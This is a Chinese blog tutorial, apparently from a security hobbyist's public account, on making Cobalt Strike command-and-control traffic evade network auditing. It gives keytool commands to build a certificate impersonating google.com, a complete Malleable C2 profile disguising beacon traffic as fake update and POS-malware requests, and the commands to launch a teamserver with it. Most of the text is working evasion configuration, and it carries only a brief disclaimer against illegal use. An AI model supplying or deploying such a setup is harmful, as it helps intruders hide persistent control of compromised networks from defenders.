Cobalt Strike绕过流量审查
声明:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!
Cobalt Strike简介
Cobalt Strike is software for Adversary Simulations and Red Team Operations. Cobalt Strike 简称CS。CS是一款优秀的内网渗透工具,可以在获取控制权限后进行长久权限维持,快速进行内网提权,凭据导出,密码提取等。在后渗透中如果未修改特征,容易被流量审计设备监控,被蓝队溯源。多人运动来不来?
证书生成
0x01 KeyTool介绍
keytool是秘钥和证书管理工具,它能使用户自己管理自己的公钥/私钥对及相关证书,用于(通过数字签名)自我认证(用户向别的用户/服务认证自己)或数据完整性以及认证服务。在JDK 1.4以后的版本中都包含了这一工具,位于“%JAVA_HOME%\bin\keytool.exe”。
0x02 创建新的CobaltStrike.store
1.利用keytool生成自己的免费证书(可在kali上生成)
keytool -genkey -alias google.com -keyalg RSA -validity 36500 -keystore cobaltstrike.store
注意:这里记得-alias后面的参数和-keystore后面的参数后面会用到C2-profile里面
- -alias 指定别名
- -storepass pass 和 -keypass pass 指定密钥
- -keyalg 指定算法
- -dname 指定所有者信息
- -validity 指定证书有效时间
接下来需要设置密码,一定要记得这串密码,后面password
处会用到,不然到时候你需要自己回来重新生成下注意:里面的内容随意填写,问你是否正确的时候输入y,然后回车后就成功生成了。证书就在当前目录下
查看刚才生成的证书
进去后输入刚才设置的口令密码
keytool -list -v -keystore ./cobaltstrike.store
创建C2.profile文件
1.新建一个文件,名叫c2.profile,加入以下内容(里面内容根据自己前面生成的证书对应内容进行修改)
set sample_name "tryblog POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "0"; # throw in a 0% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
set CN "sky";
set O "sky";
set C "sky";
set L "sky";
set OU "sky";
set ST "sky";
set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
set keystore "cobaltstrike.store";
set password "123456";
set alias "google.com";
}
#指定DNS beacon不用的时候指定到IP地址,0.0.0.0是Cobalt Strike DNS Beacon特征,可设置Malleable C2进行修改 输入set dns_idle "8.8.4.4";
set dns_idle "8.8.4.4";
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urltrytryd";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
验证证书
1.进入cs文件夹,将刚刚生成的证书,和创建的c2.profile文件复制进去。
./c2lint C2.profile #命令后面跟你自己的c2文件
显示这样就成功了。
使用证书启动teamserver
./teamserver 1.1.2.3 123456 ./C2.profile
重要提示:建议编辑teamserver文件,在最后把启动的端口修改一下,尽量别使用默认的50050端口启动。
我是"含光",刚踏入安全圈的一介草民
参考链接:cs绕过流量审计